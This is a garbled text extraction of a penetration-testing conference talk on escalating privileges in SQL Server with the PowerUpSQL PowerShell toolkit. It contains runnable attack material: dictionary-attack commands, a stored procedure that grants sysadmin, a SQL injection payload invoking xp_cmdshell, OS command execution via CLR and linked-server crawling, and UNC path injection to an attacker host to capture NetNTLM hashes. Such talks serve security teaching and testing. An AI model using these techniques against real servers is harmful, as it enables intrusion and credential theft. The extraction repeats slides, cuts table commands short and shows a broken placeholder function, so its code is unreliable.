Hacking SQL Server on Scale with PowerShell
## Speaker Information

<table>
<thead>
<tr>
<th>Name</th>
<th>Scott Sutherland</th>
</tr>
</thead>
<tbody>
<tr>
<td>Job</td>
<td>Network &amp; Application Pentester @ NetSPI</td>
</tr>
<tr>
<td>Twitter</td>
<td>@_nullbind</td>
</tr>
<tr>
<td>Slides</td>
<td><a href="http://slideshare.net/nullbind">http://slideshare.net/nullbind</a></td>
</tr>
<tr>
<td></td>
<td><a href="http://slideshare.net/netspi">http://slideshare.net/netspi</a></td>
</tr>
<tr>
<td>Blogs</td>
<td><a href="https://blog.netspi.com/author/scott-sutherland/">https://blog.netspi.com/author/scott-sutherland/</a></td>
</tr>
<tr>
<td>Code</td>
<td><a href="https://github.com/netspi/PowerUpSQL">https://github.com/netspi/PowerUpSQL</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/nullbind">https://github.com/nullbind</a></td>
</tr>
</tbody>
</table>
Presentation Overview

- PowerUpSQL Overview
- SQL Server Discovery
- Privilege Escalation Scenarios
  - Domain user to SQL Server login
  - SQL Server Login to Sysadmin
  - Sysadmin to Windows Admin
  - Windows Admin to Sysadmin
  - Domain Escalation
- Post Exploitation Activities
- General Recommendations
Why SQL Server?

- Used in most enterprise environments
- Used by a lot of development teams
- Used by a lot of vendor solutions
- Supports Windows authentication both locally and on the domain
- Lots of integration with other Windows services and tools
Why **PowerShell?**

- Native to Windows
- Run commands in memory
- Run managed .net code
- Run unmanaged code
- Avoid detection by Anti-virus
- Already flagged as "trusted" by most application whitelist solutions
- A medium used to write many open source Pentest toolkits
PowerUpSQL

https://github.com/netspi/PowerUpSQL
**PowerUpSQL**  
**Overview:** Primary Goals

- Instance Discovery
- Auditing
- Exploitation
- Scalable
- Flexible
- Portable

[https://github.com/netspi/PowerUpSQL](https://github.com/netspi/PowerUpSQL)
PowerUpSQL Overview: Functions

Currently over 70 Functions

Primary Attack Functions
- Invoke-SQLDumpInfo
- Invoke-SQLAudit
- Invoke-SQLEscalatePriv

Popular Auxiliary Functions
- Get-SQLInstanceDomain
- Invoke-SQLOsCmd
- Invoke-SQLOsCLR
- Invoke-SQLImperstonateService
- Invoke-SQLAuditDefaultLoginPw
- Invoke-SQLAuditWeakLoginPw

https://github.com/NetSPI/PowerUpSQL/wiki

Currently over 70 Functions
PowerUpSQL Overview: Where can I get it?

Github
https://github.com/netspi/PowerUpSQL

PowerShell Gallery
https://www.powershellgallery.com/packages/PowerUpSQL/
PowerUpSQL Overview: How do I install it?

Github
Import-Module PowerUpSQL.psd1


Execution policy work arounds

PowerShell Gallery
Install-Module -Name PowerUpSQL
**PowerUpSQL Overview:** Help?

### List Functions

Get-Command -Module PowerUpSQL

```powershell
PS C:\temp> Get-Command -Module PowerUpSQL

<table>
<thead>
<tr>
<th>CommandType</th>
<th>Name</th>
<th>Version</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td>Function</td>
<td>Create-SQLFileCLRDll</td>
<td>1.0.0.76</td>
<td>PowerUpSQL</td>
</tr>
<tr>
<td>Function</td>
<td>Create-SQLFileXpDll</td>
<td>1.0.0.76</td>
<td>PowerUpSQL</td>
</tr>
<tr>
<td>Function</td>
<td>Get-SQLAgentJob</td>
<td>1.0.0.76</td>
<td>PowerUpSQL</td>
</tr>
<tr>
<td>Function</td>
<td>Get-SQLAuditDatabaseSpec</td>
<td>1.0.0.76</td>
<td>PowerUpSQL</td>
</tr>
<tr>
<td>Function</td>
<td>Get-SQLAuditServerSpec</td>
<td>1.0.0.76</td>
<td>PowerUpSQL</td>
</tr>
<tr>
<td>Function</td>
<td>Get-SQLColumn</td>
<td>1.0.0.76</td>
<td>PowerUpSQL</td>
</tr>
<tr>
<td>Function</td>
<td>Get-SQLColumnSampleData</td>
<td>1.0.0.76</td>
<td>PowerUpSQL</td>
</tr>
<tr>
<td>Function</td>
<td>Get-SQLColumnSampleDataThreaded</td>
<td>1.0.0.76</td>
<td>PowerUpSQL</td>
</tr>
<tr>
<td>Function</td>
<td>Get-SQLConnectionString</td>
<td>1.0.0.76</td>
<td>PowerUpSQL</td>
</tr>
</tbody>
</table>
```
PowerUpSQL Overview: Help?

Get Command Help

Get-Help Get-SQLServerInfo -Full

```
PS C:\>Get-SQLServerInfo -Instance SQLServer1\STANDARDDEV2014

ComputerName : SQLServer1
Instance       : SQLServer1\STANDARDDEV2014
DomainName     : Domain
ServiceProcessId: 6758
ServiceName    : MSSQL$STANDARDDEV2014
ServiceAccount : LocalSystem
AuthenticationMode: Windows and SQL Server Authentication
Clustered      : No
SQLServerVersionNumber : 12.0.4213.0
SQLServerMajorVersion : 2014
SQLServerEdition : Developer Edition (64-bit)
SQLServerServicePack : SP1
OSArchitecture  : X64
OSMachineType   : WinNT
OSVersionName   : Windows 8.1 Pro
OSVersionNumber : 6.3
CurrentLogin    : Domain\MyUser
IsSysadmin      : Yes
ActiveSessions  : 1
```
## SQL Server Discovery: Techniques

<table>
<thead>
<tr>
<th>Attacker Perspective</th>
<th>Attack Technique</th>
</tr>
</thead>
</table>
| Unauthenticated       | ● List from file  
                       ● TCP port scan  
                       ● UDP port scan  
                       ● UDP ping of broadcast addresses  
                       ● Azure DNS dictionary attack (x.databases.windows.net)  
                       ● Azure DNS lookup via public resources  |
| Local User            | ● Services  
                       ● Registry entries |
| Domain User           | ● Service Principal Names  
                       ● Azure Portal / PowerShell Modules |
# SQL Server Discovery: PowerUpSQL

<table>
<thead>
<tr>
<th>Attacker Perspective</th>
<th>PowerUpSQL Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>Unauthenticated</td>
<td>Get-SQLInstanceFile</td>
</tr>
<tr>
<td>Unauthenticated</td>
<td>Get-SQLInstanceUDPScan</td>
</tr>
<tr>
<td>Local User</td>
<td>Get-SQLInstanceLocal</td>
</tr>
<tr>
<td>Domain User</td>
<td>Get-SQLInstanceDomain</td>
</tr>
</tbody>
</table>

**Blog:** https://blog.netspi.com/blindly-discover-sql-server-instances-powerupsql/
Escalating Privileges

Unauthenticated / Domain User to SQL Login
### Testing Login Access: PowerUpSQL

<table>
<thead>
<tr>
<th>Attacker Perspective</th>
<th>Attack</th>
<th>PowerUpSQL Function Example</th>
</tr>
</thead>
<tbody>
<tr>
<td>Unauthenticated</td>
<td>Dictionary Attacks</td>
<td><code>Invoke-SQLAuditWeakLoginPw -Instance &quot;Server1\Instance1&quot; -UserFile c:\temp\users.txt -PassFile C:\temp\Passwords.txt</code></td>
</tr>
<tr>
<td>Unauthenticated</td>
<td>Default Vendor Passwords</td>
<td>`Get-SQLInstanceFile C:\temp\Computers.txt</td>
</tr>
<tr>
<td>Local User</td>
<td>Excessive Login Priv</td>
<td>`Get-SQLInstance</td>
</tr>
<tr>
<td>Domain Account</td>
<td>Excessive Login Priv</td>
<td>`Get-SQLInstanceDomain</td>
</tr>
</tbody>
</table>
Testing Login Access: Default App Pw
Do I have to rerun instance discovery every time I want to run a command? No.

<table>
<thead>
<tr>
<th>Process</th>
<th>Command Example</th>
</tr>
</thead>
<tbody>
<tr>
<td>Get server information</td>
<td>`$Accessible</td>
</tr>
<tr>
<td>Get database list</td>
<td>`$Accessible</td>
</tr>
<tr>
<td>Perform audit</td>
<td>`$Accessible</td>
</tr>
</tbody>
</table>
Identifying Excessive Login Privileges as a Domain User
WARNING: The names of some imported commands from the module 'PowerupSQL' include unapproved verbs that might make them less discoverable. To find the commands with unapproved verbs, run the Import-Module command again with the Verbose parameter. For a list of approved verbs, type Get-Verb.

PS C:\> Import-Module C:\PowerUpSQL-master\PowerupSQL.psd1

# Discover local instances
Get-SQLInstanceLocal -Verbose | Format-Table -AutoSize

# Discover domain instances
Get-SQLInstanceDomain -Verbose | Format-Table -AutoSize

# Discover shared service accounts
Get-SQLInstanceDomain -Verbose | Format-Table -AutoSize

# Check login access
Get-SQLConnectionTestThreaded -Verbose -Threads 10 | Select-Object Instance,Status

# Storing target to variable
$Targets = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 | Where-Object {$_.Status -like "Accessible"}

# Using targets
$Targets
$Targets | Get-SQLServerInfo -Verbose
$Targets | Get-SQLDatabase
Escalating Privileges: Domain User

Why can Domain Users login into so many SQL Servers?

- Admins give them access
- Privilege inheritance issue on domain systems = Public role access
- SQL Server Express is commonly vulnerable
- A lot of 3rd party solutions are affected
Escalating Privileges: Domain User

Why can Domain Users login into so many SQL Servers?

- Admins give them access
- Privilege inheritance issue on domain systems = Public role access
- SQL Server Express is commonly vulnerable
- A lot of 3rd party solutions are affected
Why can Domain Users login into so many SQL Servers?

- Admins give them access
- Privilege inheritance issue on domain systems = Public role access
- SQL Server Express is commonly vulnerable
- A lot of 3rd party solutions are affected
Escalating Privileges

SQL Login to SysAdmin
## Escalating Privileges: Weak PWs

Didn’t we just cover this? Yes, but there’s more…

<table>
<thead>
<tr>
<th>Attacker Perspective</th>
<th>Attack</th>
<th>PowerUpSQL Function Example</th>
</tr>
</thead>
<tbody>
<tr>
<td>Unauthenticated</td>
<td>Dictionary Attacks</td>
<td><code>Invoke-SQLAuditWeakLoginPw -Instance &quot;Server1\Instance1&quot; -UserFile c:\temp\users.txt -PassFile C:\temp\Passwords.txt</code></td>
</tr>
<tr>
<td>Unauthenticated</td>
<td>Default Vendor Passwords</td>
<td>`Get-SQLInstanceFile C:\temp\Computers.txt</td>
</tr>
<tr>
<td>Domain Account</td>
<td>Excessive Login Priv</td>
<td>`Get-SQLInstanceDomain</td>
</tr>
<tr>
<td></td>
<td></td>
<td>`Get-SQLInstanceDomain</td>
</tr>
</tbody>
</table>
Escalating Privileges: **Weak PWs**

...we can also enumerate SQL Server logins and Domain Accounts 😊

<table>
<thead>
<tr>
<th>Technique</th>
<th>PowerUpSQL Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>Blind Login Enumeration +</td>
<td>Invoke-SQLAuditWeakLoginPw</td>
</tr>
<tr>
<td>Dictionary Attack = Super Cool!</td>
<td>• Enumerate all SQL Server logins <strong>with the Public role</strong></td>
</tr>
<tr>
<td></td>
<td>• Enumerate all domain accounts <strong>with the Public role</strong></td>
</tr>
</tbody>
</table>
Escalating Privileges: **Weak PWs**

Enumerating SQL Logins

1. Attempt to list all SQL Server logins and fail.
Escalating Privileges: Weak PWs

Enumerating SQL Logins

1. Attempt to list all SQL Server logins and fail.

2. Get principal id for the sa account with “suser_id”
**Escalating Privileges: Weak PWs**

Enumerating SQL Logins

1. Attempt to list all SQL Server logins and fail.

2. Get principal id for the sa account with “suser_id”

3. Use “suser_name” to get SQL logins using just principal ID
Escalating Privileges: Weak PWs

Enumerating SQL Logins

1. Attempt to list all SQL Server logins and fail.

2. Get principal id for the sa account with “suser_id”

3. Use “suser_name” to get SQL logins using just principal ID

4. Increment number and repeat
Escalating Privileges: Weak PWs

Enumerating SQL Logins

1. Attempt to list all SQL Server logins and fail.
2. Get principal id for the sa account with “suser_id”
3. Use “suser_name” to get SQL logins using just principal ID
4. Increment number and repeat

Code gifted from @mobileck
Source: https://gist.github.com/ConstantineK/c6de5d398ec43bab1a29ef07e8c21ec7

```sql
select n [id], SUSER_NAME(n) [user_name]
from (select top 10000 row_number() over(order by t1.number) as N
from master..spt_values t1
  cross join master..spt_values t2
) a
where SUSER_NAME(n) is not null
```
Escalating Privileges: Weak PWs

Enumerating Domain Users

1. Get the domain

Domain of SQL Server
Escalating Privileges: Weak PWs

Enumerating Domain Users

1. Get the domain
2. GID RID of default group
Escalating Privileges: **Weak PWs**

Enumerating Domain Users

1. Get the domain
2. GID RID of default group
3. **Grab the first 48 Bytes of the full RID**

```
RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
```
Escalating Privileges: **Weak PWs**

Enumerating Domain Users

1. Get the domain
2. GID RID of default group
3. Grab the first 48 Bytes of the full RID
4. Create new RID with by appending a hex number value and the SID

<table>
<thead>
<tr>
<th>SID</th>
<th>RID</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0105000000000005150000009CC30DD479441EDEB31027D0</td>
<td>0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000</td>
</tr>
</tbody>
</table>

1. Start with number, 500
2. Convert to hex, F401
3. Pad with 0 to 8 bytes, F4010000
4. Concatenate the SID and the new RID
Escalating Privileges: Weak PWs

Enumerating Domain Users

1. Get the domain
2. GID RID of default group
3. Grab the first 48 Bytes of the full RID
4. Create new RID with by appending a hex number value and the SID
5. Use “suser_name” function to get domain object name
Escalating Privileges: Weak PWs

Enumerating Domain Users

1. Get the domain
2. GID RID of default group
3. Grab the first 48 Bytes of the full RID
4. Create new RID with by appending a hex number value and the SID
5. Use “suser_name” function to get domain object name
6. Increment and repeat
Escalating Privileges: DEMO

- Get-SQLFuzzServerLogin
- Invoke-SQLAuditWeakLoginPw
- Get-SQLFuzzDomainAccount
Escalating Privileges: Impersonation

1. Impersonate Privilege
   - Server: EXECUTE AS LOGIN
   - Database: EXECUTE AS USER

2. Stored Procedure and Trigger Creation / Injection Issues
   - EXECUTE AS OWNER
   - Signed with cert login

3. Automatic Execution of Stored Procedures

4. Agent Jobs
   - User, Reader, and Operator roles

5. xp_cmdshell proxy account

6. Create Database Link to File or Server

7. Import / Install Custom Assemblies

8. Ad-Hoc Queries

9. Shared Service Accounts

10. Database Links

11. UNC Path Injection

12. Python code execution
Impersonate Privilege

- Can be used at server layer
  - EXECUTE AS LOGIN
- Can be used at database layer
  - EXECUTE AS USER

Pros
- Execute queries/commands in another user context

Cons
- Commands and queries are not limited in any way
- Requires database to be configured as trustworthy for OS command execution
Escalating Privileges: **Impersonation**

**Impersonate Privilege**

- Can be used at server layer
  - EXECUTE AS LOGIN
- Can be used at database layer
  - EXECUTE AS USER
Escalating Privileges: Impersonation

Impersonate Privilege

- Can be used at server layer
  - EXECUTE AS LOGIN
- Can be used at database layer
  - EXECUTE AS USER
Escalating Privileges: Impersonation

Stored Procedure and Trigger Creation / Injection Issues

• EXECUTE AS OWNER can be used to execute a stored procedure as another login

Pros
• Can execute queries/commands in another user context
• Limit commands and queries
• Don’t have to grant IMPERSONATE

Cons
• No granular control over the database owner’s privileges
• DB_OWNER role can EXECUTE AS OWNER of the DB, which is often a sysadmin
• Requires database to be configured as trustworthy for OS command execution
• Impersonation can be done via SQL injection under specific conditions
• Impersonation can be done via command injection under specific conditions
Escalating Privileges: **Impersonation**

Stored Procedure and Trigger Creation / Injection Issues

- EXECUTE AS OWNER can be used to execute a stored procedure as another login

- DB_OWNER role can impersonate the actual database owner

```sql
USE MyAppDb
GO
CREATE PROCEDURE sp_escalate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'MyAppUser','sysadmin'
GO
```
**Escalating Privileges: Impersonation**

Stored Procedure and Trigger Creation / Injection Issues

- EXECUTE AS OWNER can be used to execute a stored procedure as another login

- DB_OWNER role can impersonate the actual database owner

```sql
USE MyAppDb
GO
CREATE PROCEDURE sp_escalate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'MyAppUser','sysadmin'
GO
```
Escalating Privileges: **Impersonation**

**Stored Procedure and Trigger Creation / Injection Issues**

- Use signed Procedures
  - Create stored procedure
  - Create a database master key
  - Create a certificate
  - Create a login from the certificate
  - Configure login privileges
  - Sign stored procedure with certificate
  - GRANT EXECUTE to User

**Pros**
- Can execute queries/commands in another user context
- Limit commands and queries
- Don’t have to grant IMPERSONATE
- Granular control over permissions
- Database does NOT have to be configured as trustworthy for OS command execution

**Cons**
- Impersonation can be done via SQL injection under specific conditions
- Impersonation can be done via command injection under specific conditions
CREATE PROCEDURE sp_sqli2
@DbName varchar(max)
AS
BEGIN
Declare @query as varchar(max)
SET @query = '
SELECT name FROM master..sysdatabases
WHERE name like '%'+ @DbName+'%'
OR name='tempdb';
EXECUTE(@query)
END
GO
CREATE PROCEDURE sp_sqli2
@DbName varchar(max) 
AS
BEGIN
Declare @query as varchar(max)
SET @query = 'SELECT name FROM master..sysdatabases
WHERE name like ''%'' + @DbName + ''%'' OR name='tempdb'';
EXECUTE(@query)
END
GO

PURE EVIL

https://blog.netspi.com/hacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation/
Escalating Privileges: Impersonation

SQL Injection Example

```sql
EXEC MASTER.dbo.sp_sqli2
'`master`;EXEC master..xp_cmdshell `whoami`--';
```

https://blog.netspi.com/hacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation/
Escalating Privileges: Impersonation

SQL Injection Example
Escalating Privileges: Impersonation

Automatic Execution of Stored Procedure

- Stored procedures can be configured to execute when the SQL Server service restarts

Pros

- Marking a stored procedure to run when the SQL Server service restarts has many use cases
- Only stored procedures in the master database can be marked for auto execution

Cons

- No granular control over what context the startup command is executed in
- All stored procedures marked for auto execution are executed as 'sa', even if 'sa' is disabled
- Any non-sysadmin access to stored procedures can lead to execution as 'sa'
Escalating Privileges: DEMO

Invoke-SQLAudit
Escalating Privileges:

Invoke -SQLPrivEsc

Whooray for Automation Demo!
Escalating Privileges: DEMO

Invoke-SQLExpressEscalatePriv
Escalating Privileges:
Invoke -SQLPrivEsc DEMO

Get Accessible Domain SQL Servers
Escalating Privileges
SysAdmin to Windows Service Account
Escalating Privileges: **SysAdmin to Win Account**

OS Command Execution Through SQL Server

= 

Windows Service Account Impersonation
Escalating Privileges: SysAdmin to Win Account

You don’t need to know the password, crack a hash, or PTH.
Escalating Privileges: **SysAdmin to Win Account**

There are a lot of options for executing OS commands.
<table>
<thead>
<tr>
<th>Technique</th>
<th>Configuration Change</th>
<th>Requires Sysadmin</th>
<th>Requires Disk Read/Write</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>xp_cmdshell</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
<td>sp_configure 'xp_cmdshell', 1; RECONFIGURE;</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Can be configured with proxy account. (sp_xp_cmdshell_proxy_account)</td>
</tr>
<tr>
<td>Custom Extended Stored Procedure</td>
<td>No</td>
<td>Yes</td>
<td>Yes</td>
<td>sp_addextendedproc</td>
</tr>
<tr>
<td>CLR Assembly</td>
<td>Yes</td>
<td>No</td>
<td>No</td>
<td>sp_configure 'clr enabled', 1; RECONFIGURE;</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>sp_configure 'clr strict security', 1; RECONFIGURE; -- 2017</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Requires: Database has 'Is_Trustworthy' flag set.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Requires: CREATE ASSEMBLY permission or sysadmin</td>
</tr>
<tr>
<td>Agent Job:</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>Can be configured with proxy account.</td>
</tr>
<tr>
<td>• CmdExec</td>
<td></td>
<td></td>
<td></td>
<td>Requires one of the roles below: SQLAgentUserRole</td>
</tr>
<tr>
<td>• PowerShell</td>
<td></td>
<td></td>
<td></td>
<td>SQLAgentReaderRole</td>
</tr>
<tr>
<td>• SSIS</td>
<td></td>
<td></td>
<td></td>
<td>SQLAgentOperatorRole</td>
</tr>
<tr>
<td>• ActiveX: Jscript</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>• ActiveX: VBScript</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Python Execution</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
<td>sp_configure 'external scripts enabled', 1; RECONFIGURE;</td>
</tr>
<tr>
<td>Write to file autorun</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>sp_addlinkedserver</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Openrowset</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Opendataset</td>
</tr>
<tr>
<td>Write to registry autorun</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>xp_regwrite</td>
</tr>
</tbody>
</table>
Escalating Privileges: **SysAdmin to Win Account**

```powershell
PS C:\> Invoke-SQL0SCmdCLR -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Command "whoami"
VERBOSE: Creating runspace pool and session states
VERBOSE: MSSQLSRV04\SQLSERVER2014 : Connection Success.
VERBOSE: MSSQLSRV04\SQLSERVER2014 : You are a sysadmin.
VERBOSE: MSSQLSRV04\SQLSERVER2014 : Show Advanced Options is disabled.
VERBOSE: MSSQLSRV04\SQLSERVER2014 : Enabled Show Advanced Options.
VERBOSE: MSSQLSRV04\SQLSERVER2014 : CLR is disabled.
VERBOSE: MSSQLSRV04\SQLSERVER2014 : Enabled CLR.
VERBOSE: MSSQLSRV04\SQLSERVER2014 : Running command: whoami
VERBOSE: MSSQLSRV04\SQLSERVER2014 : Disabling CLR
VERBOSE: MSSQLSRV04\SQLSERVER2014 : Disabling Show Advanced Options
VERBOSE: Closing the runspace pool

ComputerName Instance CommandResults
----------------- -------------------
MSSQLSRV04 MSSQLSRV04\SQLSERVER2014 nt authority\system
```

---

*Note: The above code snippet demonstrates how to escalate privileges from a `SysAdmin` user to a Windows account.*
Escalating Privileges: SysAdmin to Win Account

SQL Server can be configured with different account types.
Escalating Privileges: SysAdmin to Win Account

Service Account Types
- Local User
- Local System
- Network Service
- Local managed service account
- Domain managed service account
- Domain User
- Domain Admin
Escalating Privileges: **Invoke-SQLOSCmd**

Invoke-SQLOSCMD can be used for basic command execution via xp_cmdshell.

<table>
<thead>
<tr>
<th>ComputerName</th>
<th>Instance</th>
<th>CommandResults</th>
</tr>
</thead>
<tbody>
<tr>
<td>SQLServer1</td>
<td>SQLServer1\SQLEXPRESS</td>
<td>nt service\mssql$\sqlexpress</td>
</tr>
<tr>
<td>SQLServer1</td>
<td>SQLServer1\STANDARDDEV2014</td>
<td>nt authority\system</td>
</tr>
<tr>
<td>SQLServer1</td>
<td>SQLServer1</td>
<td>Domain\SQLSvc</td>
</tr>
</tbody>
</table>
Escalating Privileges

Shared Service Accounts
Escalating Privileges: Shared Svc Accounts

Why should I care about shared service accounts?

1. SysAdmins can execute OS commands
2. OS commands run as the SQL Server service account
3. Service accounts have sysadmin privileges by default
4. Companies often use a single domain account to run hundreds of SQL Servers
5. So if you get sysadmin on one server you have it on all of them!

One account to rule them all!
<table>
<thead>
<tr>
<th>Key</th>
</tr>
</thead>
<tbody>
<tr>
<td>LVA = Low Value Application</td>
</tr>
<tr>
<td>HVA = High Value Application</td>
</tr>
</tbody>
</table>

### Diagram:

- **Internet**
  - Key: LVA, HVA

- **DMZ**
  - LVA
  - HVA
  - Ports: 80 and 443, 1433 and 1434

- **Intranet**
  - LVA
  - HVA
  - Ports: 80 and 443, 1433 and 1434

- **ADS**
Leveraging Shared MS SQL Server Service Accounts

Key

- **LVA** = Low Value Application
- **HVA** = High Value Application

Leveraging Shared MS SQL Server Service Accounts

1. SQL Injection

Internet

DMZ

Intranet
Leveraging Shared MS SQL Server Service Accounts

**Key**

<table>
<thead>
<tr>
<th>LVA</th>
<th>Low Value Application</th>
</tr>
</thead>
<tbody>
<tr>
<td>HVA</td>
<td>High Value Application</td>
</tr>
</tbody>
</table>

**Ports**

- 80 and 443
- 1433 and 1434

**Stages**

1. SQL Injection
2. Execute Local Command via `xp_cmdshell`
Leveraging Shared MS SQL Server Service Accounts

**Key**

<table>
<thead>
<tr>
<th>Internet</th>
<th>DMZ</th>
<th>Intranet</th>
</tr>
</thead>
<tbody>
<tr>
<td>LVA = Low Value Application</td>
<td>HVA = High Value Application</td>
<td>Execute Local Command via <code>xp_cmdshell</code></td>
</tr>
<tr>
<td>Access to HVA with shared domain service account</td>
<td>Execute commands and gather data from other database servers via <code>osql</code></td>
<td></td>
</tr>
</tbody>
</table>

**Processes**

1. SQL Injection

2. Execute Local Command via `xp_cmdshell`

3. Execute commands and gather data from other database servers via `osql`
Escalating Privileges

Crawling SQL Server Links
Escalating Privileges: Crawling Links

What’s a SQL Server link?

- SQL Server links are basically persistent database connections for SQL Servers.

Why should I care?

- Short answer = privilege escalation
- Public role can use links to execute queries on remote servers (impersonation)
  
  ```sql
  SELECT * FROM OpenQuery([SQLSERVER2],’SELECT @@Version’)
  ```
- Stored procedures can be executed – like xp_cmdshell ;)
- Links can be crawled
Leveraging MS SQL Database links

Key:
- LVA = Low Value Application
- HVA = High Value Application

Ports:
- 80 and 443
- 1433 and 1434

HVA = PURE EVIL

Captain Evil Key

LVA

Internet

DMZ

Intranet

ADS

DB1
Leveraging MS SQL Database links

**Key**

<table>
<thead>
<tr>
<th>Internet</th>
<th>DMZ</th>
<th>Intranet</th>
</tr>
</thead>
<tbody>
<tr>
<td>LVA = Low Value Application</td>
<td>HVA = High Value Application</td>
<td>SQL Injection</td>
</tr>
<tr>
<td>Ports 80 and 443</td>
<td>Ports 1433 and 1434</td>
<td></td>
</tr>
</tbody>
</table>
**Key**

- **LVA** = Low Value Application
- **HVA** = High Value Application

---

**Internet**

- **HVA**
- **LVA**
- **ADS**
- **Ports** 80 and 443
- **Ports** 1433 and 1434

---

**DMZ**

- **LVA**
- **HVA**
- **SQL Injection**
- **Ports** 1433 and 1434

---

**Intranet**

- **LVA**
- **HVA**
- **ADS**
- **DB1**

---

**Leveraging MS SQL Database links**
Key

LVA = Low Value Application
HVA = High Value Application

Leveraging MS SQL Database links

1. SQL Injection

2. Execute SQL queries and local commands on database servers via nested linked services.
Escalating Privileges: Crawling Links

Penetration Test Stats

- Database links exist (and can be crawled) in about 50% of environments we’ve seen.
- The max number of hops we’ve seen is 12.
- The max number of servers crawled is 226.
Escalating Privileges: Crawling Links

Old Metasploit Module

- mssql_linkcrawler Module
- Author: Antti Rantasaari and Scott Sutherland - Released 2012
- https://www.rapid7.com/db/modules/exploit/windows/mssql/mssql_linkcrawler

New PowerUpSQL Function

- Get-SQLServerLinkCrawl
- Author: Antti Rantasaari
- https://blog.netspi.com/sql-server-link-crawling-powerupsqll/
## Escalating Privileges: Crawling Links

<table>
<thead>
<tr>
<th>Function</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Get-SQLServerLink</td>
<td>Get a list of SQL Server Link on the server.</td>
</tr>
<tr>
<td>Get-SQLServerLinkCrawl</td>
<td>Crawls linked servers and supports SQL query and OS command execution.</td>
</tr>
</tbody>
</table>

### Examples

- Get-SQLServerLinkCrawl -Verbose -Instance "10.1.1.1\SQLSERVER2008"
- Get-SQLServerLinkCrawl -Verbose -Instance "10.1.1.1\SQLSERVER2008" -Query “select * from master..sysdatabases”
- Get-SQLServerLinkCrawl -Verbose -Instance "10.1.1.1\SQLSERVER2008" -Query “exec master..xp_cmdshell ‘whoami’”
Escalating Privileges: DEMO

Get-SQLServerLinkCrawl
Get-SQLServerLinkCrawl -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Export
Escalating Privileges: Crawling Links
Escalating Privileges: **UNC Injection**

**UNC Path Injection Summary**

- UNC paths are used for accessing remote file servers like so `\192.168.1.4\file`
- Almost all procedures that accept a file path in SQL Server, support UNC paths
- UNC paths can be used to force the SQL Server service account to authenticate to an attacker
- An attacker can then capture the NetNTLM password hash and crack or relay it
- Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges: **UNC Injection**
Escalating Privileges: **UNC Injection**

**The Issue**

- By DEFAULT, the PUBLIC role can execute at least two procedures that accept a file path:
  
  ```
  xp_dirtree '\attackerip\file'
  xp_fileexists '\attackerip\file'
  ```

**The Solution**

- EXECUTE rights on `xp_dirtree` and `fileexists` can be REVOKED for the Public role (but no one does that)

**UNC Path Injection Cheat Sheet (More options)**

- [https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e](https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e)
Escalating Privileges: **UNC Injection**

**Another Issue**

- The Public role can perform UNC path injection into the BACKUP and RESTORE commands even though it can’t perform the actual backup/restore:

  ```
  BACKUP LOG [TESTING] TO DISK = '\attackerip\file'
  RESTORE LOG [TESTING] FROM DISK = '\attackerip\file'
  ```

**Partial Solution**

- A patch was released for SQL Server versions 2012 through 2016
  

- There is **no patch** for SQL Server 2000 to 2008
Escalating Privileges: **UNC Injection**

So, in summary...

1. The **PUBLIC** role can access the SQL Server service account NetNTLM password hash **by default**
2. A ton of domain users have PUBLIC role access
3. Whooray for domain privilege escalation!

WEEEEEE!
Get-SQLServiceAccountPwHashes

...what? It’s self descriptive 😊
Escalating Privileges:

UNC Path Injection

DEMO

Function Get-SQLServiceAccountPwHashes {
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory=$false)]
        [string]$Username,
        [Parameter(Mandatory=$false)]
        [string]$Password,
        [Parameter(Mandatory=$false)]
        [string]$ServerName,
        [Parameter(Mandatory=$false)]
        [string]$DatabaseName
    )
    Begin {
        # Add code here...
    }
    Process {
        # Add code here...
    }
    Stop {
        # Add code here...
    }
}

Load PowerUpSQL functions
Escalating Privileges

OS Admin to SysAdmin
Escalating Privileges: OS Admin to SysAdmin

Two things to remember...

1. Different SQL Server versions can be abused in different ways
2. All SQL Server versions provide the service account with sysadmin privileges.
## Escalating Privileges: OS Admin to SysAdmin

<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Read LSA Secrets</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>x</td>
</tr>
<tr>
<td>Dump Wdigest or NTLM password hash from Memory</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>x</td>
</tr>
<tr>
